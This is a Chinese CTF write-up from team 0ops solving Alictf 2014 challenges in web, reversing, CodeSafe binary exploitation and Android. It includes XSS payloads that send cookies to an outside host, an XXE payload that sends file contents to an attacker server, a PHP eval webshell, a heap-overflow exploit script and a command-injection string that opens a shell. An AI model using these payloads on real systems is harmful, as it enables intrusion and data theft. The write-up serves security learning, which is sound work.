Alictf2014 Writeup

wyzsk發表於2020-08-19
作者: Sasiki · 2014/10/08 15:24

Team Name: 0ops

ctf所有檔案打包下載:Alictf.zip

Part 1 BigData


100pt

因為是webshell,一般是post請求,但是經過檢查所有post並無異常。這樣,在get請求的情況下,可能會有關鍵字。 嘗試eval,shell,hack,attack, evil,login,pass等關鍵字,發現可疑檔案:

config1.php?act=attack

統計id可得答案。

200pt

連上伺服器看到這是一個模擬兩方通訊的遊戲,而玩家可以作為中間人篡改通訊的訊息。訊息是由一串在Start與End之間由逗號分隔的數字組成的,根據數字的大小直接猜測其為十進位制的ASCII碼,解碼後看到alice與bob互相交換了自己的RSA公鑰,而後的通訊就是用RSA演算法“加密”過了。

這裡與其說是“加密”還不如說是“編碼”,因為之前交換的公鑰的模數N實在太短,非常容易就可以分解,強度這麼弱的RSA就跟編碼差不太多了。然後解出之後的通訊資料,[email protected],[email protected],而後alice與bob會再度交換公鑰,重複上述過程。

這裡我因為想偷懶沒有用分解N而後求d的方法,而是直接把雙方在訊息裡傳送的公鑰的指數e從65537換成1,這樣雙方傳送的訊息就是明文了,而作為中 間人只是需要把修改後的訊息用另一方真正的公鑰再加密一次再傳送即可,重複這樣的過程許多次之後伺服器就會把flag傳送出來。

Part 2 Web-A


100pt

根據提示是一個手工注入,常規的一些注入payload發覺都失效,所以一開始是感覺做了過濾。後來根據論文http://www.exploit-db.com/papers/18263/ 的提示(False Injection),嘗試了

Username: '-0||' / Password: 1

發覺還是失敗。於是猜測可能並不是做了過濾,而是做了硬編碼,不能出現-,只能用|。 最終的payload為:

Username: '|0||' / Password: 1

即可拿到flag並提示web100b入口地址。

200pt

提交引數輸出到onerror事件中,用js做了過濾,不能出現關鍵字,不能有“+”。 基礎payload為

window['location']="http://xxx/"+document['cookie']

想到用字元拼接繞過關鍵字過濾,用

'coo'['CONCAT'.toLowerCase()]('kie')

這種方式繞過“+”,最終payload為

"><window['loca'['CONCAT'.toLowerCase()]('tion')]='http://xxx/'['CONCAT'.toLowerCase()](document['coo'['CONCAT'.toLowerCase()]('kie')]);>

url編碼後提交得到flag。

300pt

根據題面猜測是XML實體注入。先找了一些中文網站的payload試了一下,發覺都不行,感覺主要原因是因為沒有回顯(結合題面的吐槽進一步確定 了)。於是開始Google。發現了這篇paper: https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-wp.pdf

pdf裡講得很詳細,有exploit可用。 網頁上填寫內容為: 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://ourserver_ip/xdb.xml">
    %remote;
    %param1; 
]>
<root>&external;</root>

xdb.xml的內容為:

<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=bb.php"> 
<!ENTITY % param1 "<!ENTITY external SYSTEM 'http://ourserver_ip/log.php?msg=%payload;'>">

要注意的地方是,這裡不能直接用file協議取bb.php的內容,因為絕對路徑不確定感覺。所以採用php://filter以及base64-encode的trick。最後讀到的msg 再base64_decode一下就出來flag了。

400pt

web400a就是抓包會看到一個檔案上傳的表單,上傳檔案後會給出上傳後的路徑和檔名,發現檔名與當前時間相關。 如/upload/upload/20140920170801.php。但是訪問的時候會發現被刪了。因此需要不斷髮生請求在被刪之前訪問到上傳上去的指令碼。指令碼內容為在上一 級目錄生成一句話。

<?php file_put_contents('../salt.php', '<?php eval($_POST["c"]); ?>'); ?>

然後在上級目錄找到上傳後的一句話,就可以菜刀連線了。 菜刀連上去之後發覺/home/wwwroot/default/upload目錄下面有一個dfghjdjlkfghd.zip。但是有密碼,所以一時之間束手無測。隨後根據提示,要去 Github上進行查詢。然後再根據之前curl連線的時候發覺返回結果有一個註釋,大概是這個樣子:

<!--
    @author: nidongde
-->

自然地,就去找nidongde的github主頁,隨後發現https://github.com/nidongde/test頁面有解壓縮密碼: test_nidongde,解壓之後得到一個php檔案。提供了它的網址,以及一段內容,透過認證之後伺服器會返回flag。條件:

if($key == '_POST' && ~$value['alibaba']['security'] == -2347230984235 && strlen($value['alibaba']['security']) >= 0){

由於對GET、GLOBAL等做了過濾,所以就用POST方式傳資料。一開始卡住了,因為發現弄不出足夠大的整數取反之後符合要求,但是再根據提示要用 x64的思維。x64下面自然int型別是很大的。最後的payload如下:

curl -d '_POST[alibaba][security]=2347230984234' -i 'http://web400b.alictf.com/alibaba_CTF_security/'

即可得到flag。

500pt

頁面最頂端js解密後為

location.href.indexOf("helloalibaba")==-1&&(location.href="http://www.alictf.com/");

即需要在url裡有"helloalibaba",可以人為構造a= helloalibaba來繞過

經過測試,本題有兩層過濾。

Php過濾單引號、雙引號和“-”,防止逃逸出script標籤。

Js主要過濾<,並把所有字母變大寫。

因為引數直接輸出在<script>內,繞過php的過濾可用js的字元編碼,變成\xff形式。

對js過濾,可以用<<script></script>繞過。因為會把所有字母變大寫,所以<script>標籤裡js程式碼中不能出現字母。在這裡透過呼叫遠端js程式碼來避免寫這種js。

因此最終payload為

<<script src=//xxx/1.js></script>

 在linux伺服器上建立1.JS檔案,內容為

p://xxx/xss.php?x='+document.cookie;

提交得到flag。

Part 3 Reverse


100pt

題目提示說會把資訊加密儲存到"secret.db"檔案中,並且我們的目標是加密的key。那麼很自然地,把ch1.exe拖進IDA之後,根據寫內容到"secret.db"文 件來定位程式碼片段。IDA搜尋text "secret.db"定位到函式sub_423400,看到了fopen,基本八九不離十了。

於是退到外面,看呼叫sub_423400之前,發覺呼叫了函式sub_4230f0,然後一進去,發現一連串非常可疑的賦值(從v19開始的),本著試一試的態 度,在0042325D下了一個斷點(因為到這裡一連串賦值結束了),然後用Ollydbg跑一下,從記憶體裡直接把這連續的一段可見字元弄出來就好了,即是 flag。(根據一些常量字串以及對資料的操作,加密方式應該是AES)。

200pt

根據題目的描述,是程式對輸入的一段內容做了加密之後放到了flag.crypt檔案。先要找到輸入的途徑,透過strings以及對程式稍稍除錯,可以發現存放明 文的輸入檔案為flag.txt。

我們隨便給flag.txt輸入連續的123412341234,發覺出來的flag.crypt檔案的hex內容為:

A1 A2 A0 A3 9F A4 9E A5 A1 A2 A0 A3 9F A4 9E A5 A1 A2 A0 A3 9F A4 9E A5

正好有迴圈段,猜測加密過程是1-1對應的替換,1個bytes變到2個bytes。接下來做一個簡單的程式,把可見字元全部放到一個檔案中,然後執行 ch2.exe。這樣可以得到可見字元1-1對應的碼錶。接下來根據題目提供的flag.crypt檔案的hex內容倒查這張表,即可獲得明文(flag)。

300pt

程式下載下來先執行,發現點Find The Key之後就會崩潰。用IDA看,發現是加了UPX的殼,用UPX原版工具就可以直接脫殼。但是脫殼後程式就沒法直接執行了,丟進IDA看到1400018C0這個函式會先載入一個DecryptDll.dll,然後執行其中的RSADecrypt函式,但是程式同目錄下並沒有這個dll所以直接執行會報錯。

但是程式脫殼之前執行的話至少還會彈出來一個介面,脫了殼之後連介面都沒了,這裡面肯定還是有些問題。於是去看了下脫殼後的程式的資源區,發現裡面就有一個dll,提取出來後重新命名為DecryptDll.dll,再次執行程式,依然報錯。

用windbg除錯,發現程式還是在呼叫RSADecrypt的時候出了錯,仔細檢查這個函式呼叫,發現有四個引數,第一個是密文,第二個是密文長度,第三個是0,第四個是64,而程式崩潰是由於一個空指標引用,所以猜測第三個引數可能是解密後輸出明文的buffer,第四個是明文buffer的長度。於是把第三個引數從0改成一個可寫地址,再次執行這個函式,然後檢視那個可寫地址就會發現flag

Part 4 Web-B


100pt

此題會檢查referer和cookie。用web100a登陸後,發現cookie中有

username=xbb; isadmin=0; sign=ZGYwMGVhNTZjNGQyZTcwOWRiYWNmMGVkZGYwMGVhNTY0NjliOWUzMA%3D%3D

修改或者刪除cookie中任意一項就會報錯。顯然sign對引數做了驗證。

Sign base64解密後為一段40位的hash:df00ea56c4d2e709dbacf0eddf00ea56469b9e30 觀察得hash中有重複部分。去掉頭上重複部分剩32位,cmd5 上反查為xbb0。 正好是cookie中username和isadmin的拼接。

利用這個性質偽造cookie,

username=admin; isadmin=1; sign=ZGY2NzhjNjFlMDBjZjI1YWQ0MjY4M2IzZGY2NzhjNjFmNDJjNmJkYQ==

提交得到flag。

200pt

此題限定了開始部分,利用基礎認證的形式,構造

http://www.taobao.com:[email protected]/5.php

得到flag。

300pt

頁面開啟後發現會載入whitehat.jpg,下載改字尾為rar,猜密碼為www.alictf.com,得到提示*.php?img=exp。

又根據題目說在找不到的地方,檢視robots.txt,得到兩個隱藏頁面。

upload.php可以用來上傳檔案,不過強制隨機重名命名為jpg檔案,內容並不檢測。 flag.php為限制檔案,只有admin能看到。

利用.php?img=exp可以構造出xss來,不過會被chrome自身的xss auditor攔截。 檢視crossdomain.xml檔案,發現<allow-access-from domain=""/> 這樣本題就很明確為構造swf的xss。

參考http://www.freebuf.com/articles/web/37432.html 構造惡意swf檔案,透過上傳點上傳。

本題php會檢查提交的引數裡有沒有”/”,若存在則會忽略輸入,可以用html編碼為/繞過。

另外在接收flag.php內容的站點需要配置crossdomain.xml檔案,內容同web300b的crossdomain.xml檔案。 最終payload為

"><embed src="http:&#47;&#47;web300b.alictf.com&#47;upload&#47;A57yr8SGGfZKFSPHKrAGk0DYMETL6Aok.jpg"

提交後記錄flag用的指令碼發現內容沒有flag,注意到管理請求的referer為http://127.0.0.1開頭,修改Swf讀取的url指向http://127.0.0.1/flag.php,再次提交 得到flag。

Part 5 CodeSafe

100pt

大概瀏覽了一下是一個Linux提供RPC的程式,一共有3個functoin可以讓你呼叫。漏洞發生在rpc_function_1,其中注意到: 

mtl = temp.mtt * tl + 1; mt = (char*)malloc(mtl); 
if(mt)
{
    strcpy(mt,temp.t);
    for(i = 1;i < temp.mtt;i++)
}

由於temp.mtt以及tl均為unsigned short型別並且均可控,所以構造資料可以使得兩者乘法導致整形溢位,mtl會變得較小,於是申請的堆塊區域會不足以 放得下傳進來的資料,導致堆溢位。完整的exploit如下:

#!python
import struct
import time
import socket
import telnetlib
import random
import sys

def p(x):
    return struct.pack('<I', x)

def netp(x):
    return struct.pack('>I', x)

def shortp(x):
    return struct.pack('<H', x)

def up(x):
    return struct.unpack('<I', x)[0]

def readuntil(f, delim='msg?\n'): 
    d = ''
    while not d.endswith(delim): 
        n = f.read(1)
        if len(n) == 0: 
            print 'EOF'
            break 
        d += n
    return d[:-len(delim)]

host = 'codesafe100.alictf.com' 
port = 30000

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((host, port))
f = s.makefile('rw', bufsize=0)

token = '此處user_token' 

temp = shortp(198)
temp += 'A' * 512

payload = chr(len(token)) # len_token 
payload += token # token
payload += chr(1) # function_id 
payload += netp(len(temp)) # len_data 
payload += temp

f.write(payload)

t = telnetlib.Telnet() 
t.sock = s 
t.interact()

 ###200pt

在rpc_function_2裡,看到最後有一句:

sprintf(buffer,"%s has been parsed, tag:%s, value:%s.", line, pr.t, pr.v); 

這裡隱約就有一些不好的味道了,再翻 到函式的開頭仔細檢查下buffer的長度,是512位元組,而後面的引數裡的line就是request->data,長度<=512。所以這裡的sprintf是可以造成buffer溢位 的,剩下的只是要讓程式的邏輯能夠走到這一句語句即可。

根據前面的程式碼分析,提交的line需要滿足形如”a = b”這樣的格式,並且b需要使得function0返回一個非0值。再根據閱讀function0的程式碼,能夠知道b需 要是一個長度為16的僅由數字組成的字串,經過後面的一系列運算後需要使得s % 10 == 0這個判斷為真,而b只要為16個0就可以滿足條件,所以最終 提交的line為

line = 'huihui=' + ('0'*16).rjust(512-7-1, ' ') + '\n'

即可觸發漏洞。

300pt

上來先大概看了一遍,沒看到什麼特別的明顯的問題,再仔細從rpc_function_0開始看,看到rpc_function_2的後半部分的時候又看到一個sprintf:

sprintf(r,"/temporary folder/2014-08/%s",p);

其中r = (char*)malloc(256);

而p是function6的一個輸出,function6的功能是從url中提取host,port和path資訊,p就是url中的路徑,url的長度限制也為256,且需要以 http://alibaba.com/開頭所以p長度最多為236,但是加上"/temporary folder/2014-08/"之後就可以往r裡輸出262個位元組,導致堆溢位。

再從頭看一遍rpc_function_2的程式碼,要觸發漏洞需要過程式前面的一些條件判斷,比如

nm = 0x4848
ts = time.time() + 999

而k需要過一個function4之後與”alibaba-inc”相等,看一下程式碼就發現function4是凱撒密碼,偏移是010也就是八進位制的10也就是十進位制的8,所以做一下反向偏移的凱撒加密就得到

k = 'sdatsts-afu'.ljust(16, '\x00')
v=2
url_len = 255
url = 'http://alibaba.com/'.ljust(255, 'p') + '\x00'

即可。

這裡還可能會有的問題的地方就是time_t了,在32位下是unsigned int,大小是4位元組;而在64位下是unsigned long long,大小是8位元組。本地測試的時候 還發現,如果是64位的話這個struct stc的內部結構可能還會有一些對齊方面的問題。經過測試伺服器上的程式是32位的,不會有64位上的對齊問題。

400pt

這個程式非常詭異的在rpc_function_1裡有呼叫system函式:

char cbuffer[512];
snprintf(cbuffer, 512,"ping %s",temp.buffer); 
system(cbuffer);

這裡temp.buffer的長度限制為256,而cbuffer為512,所以不會有溢位。但是後面這個system真是讓人醉了,看起來好像是在執行ping,但是引數是用字 符串拼接起來的,只要裡面有分號就可以造成命令注入,比如拼接上如下字串 '; /bin/sh<&9 >&9 2>&9' 就可以在遠端起一個shell。剩下的還是要過程式前面的邏輯的問題,粗看了下似乎需要使用者名稱為admin才有執行命令的許可權,而做口令判斷的這個地方用到了function3,而function3實際上是弗吉尼亞 密碼,用admin登入時候的key就是”admin”,經過加密變換之後需要與”ALIBABA”相等,於是就可以構造好使用者名稱和口令了,但是本地測試的時候卻莫名 其妙地提示No privilege.感覺非常奇怪,於是就上gdb在校驗密碼的地方下了個斷點,發現login變數先被賦值成1,而後又被賦值成0,非常詭異,而後再 去看程式碼,看到

if(strcmp(value,"ALIBABA") == 0) 
    login = 1;
else
    printf("%s login failed!",szUser); 
    login = 0;

這個真是醉了,else後面居然沒加大括號!這個跟蘋果之前被爆出的goto fail bug有異曲同工之處。這就導致了login = 0;這句賦值始終會被執行, 同時也就意味著admin永遠無法登陸成功,難道這個system就是故意放著逗你玩的嗎?再從頭仔細看一遍程式碼,發現提交資料中的temp.user和temp.pass長度都是128,而用來做判斷的szUser和szPass只取了前面63個位元組,並且只是對temp.user用function1去掉了尾部的空格,並沒有處理szUser和szPass,只是 在作為guest登入成功之後才會用function1處理一下szUser,而後的許可權檢查是判斷這個處理過後的szUser是否等於"admin",所以可以構造這樣一個

user = 'admin'.ljust(64, ' ') + 'p'

以guest的邏輯登入並且繞過admin的許可權檢查,最終的提交資料為

user = 'admin'.ljust(64, ' ') + 'p' 
hashval = 'alibaba'
password = ''
for i in xrange(len(hashval)):
    c = chr((ord(hashval[i]) - ord('guest'[i%5])) % 26 + ord('a'))
    password += c
cmd = '; /bin/sh<&9 >&9 2>&9'
data = user.ljust(128, '\x00') + password.ljust(128, '\x00') + cmd.ljust(256, '\x00')

本地測試的時候可以成功開出shell,不過遠端的伺服器就只是返回了一個flag而已>_<

Part 6 EvilApk


100pt

反編譯,在原始碼中就能看到檔案的名稱

200pt

反編譯,透過搜尋method的功能搜尋sendSMS,得到次數。

300pt

根據題目描述,這裡是考察android的webview漏洞。程式加了特殊的殼,不容易直接分析,但是如果要利用這個漏洞要知道在addJavascriptInterface裡 觸發漏洞時需要呼叫的物件是什麼。  這裡用到了LoCCS實驗室的安卓API監控工具,連結在https://github.com/romangol/InDroid。直接把apk扔進去跑,並一路記錄apk呼叫的API。結果可以 發現進入addJavascriptInterface之後顯示的物件名字叫做SmokeyBear。題目說要彈出一個Toast來獲取flag。於是我們構造一個js檔案,其中

function execute() { SmokeyBear.showToast(); }

嘗試呼叫showToast方法來獲得Toast裡的內容,即flag。

400pt

這個apk程式同樣也是加了特殊的殼,不能直接進行反彙編然後分析。於是再次使用LoCCS實驗室的安卓API監控工具跑一下。可以看到在流程中,apk調 用了一些Java相關的加密函式,其中收集到的資訊包括(Indroid可以進行API呼叫以及其具體引數是什麼的收集):

演算法:DESede
key:1f 98 ce ab 20 97 70 ef a8 75 c2 45 85 3e ce 76 1f 98 ce ab 20 97 70 ef 
IV: 00 0a 0a 0a 0a 02 02 aa
分組模式:CBC
Padding模式:PKC5

加密之後,同000a0a0a0a0202aa5458d715704493d8e6b9bd38f8b6be0e進行比較。去掉前面的IV,後面就是密文。 由於整個資訊非常齊全,所以可以寫一個解密程式最後結果是(hex):

697A5E5A4A940E59C9FE4BEB8

將其轉成中文編碼可得到flag。

500pt

題目裡給了一個so,丟進IDA看到一大堆函式,用readelf發現有JNI_OnLoad這個函式,丟進IDA看,發現很多函式里都有switch的結構,估計是都做了控 制流混淆了,檢視程式中的字串也只看到一大堆的奇怪字串,猜測是加過密了。嘗試寫一個APK去呼叫這個so進行動態除錯,但是一直都沒有成功, 所以剛開始的時候毫無頭緒。 後來看到題目裡給了提示是/proc/%pid%/下的某個檔案,然後就決定既然動態分析一直不成功的話不如嘗試一下靜態分析,雖然程式碼有混淆但還不算是 特別嚴重,特別觀察檔案開啟相關庫函式(open、fopen)的引數,發現路徑名會用sprintf來生成,並且再往前看發現有getpid的呼叫,於是就猜測程式是先 生成一個類似/proc/%d/xxxx這樣的字串,再用sprintf把pid代入生成最終的路徑名,而且字串解密的函式也就在附近,解密演算法也不是非常複雜,但 是不同的字串用的解密演算法是不同的,稍微感覺有些蛋疼。

我們先找到了一個/proc/%d/cmdline,提交了不對,只能繼續再尋找,最後找到了一個/proc/%d/stat,對應的解密演算法在51624附近

byte_1011E8[v1] = 0xCF * byte_E68CA[v1] - 0x6A - (0x9E * byte_E68CA[v1] & 0x2C);

對應密文在E68CA處

0xF7, 0x3A, 0xDC, 0xB7, 0xFB, 0xF7, 0xDD, 0x6E, 0xF7,0xB, 0x7E, 0x59, 0x7E

運氣較好,嘗試提交後透過。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章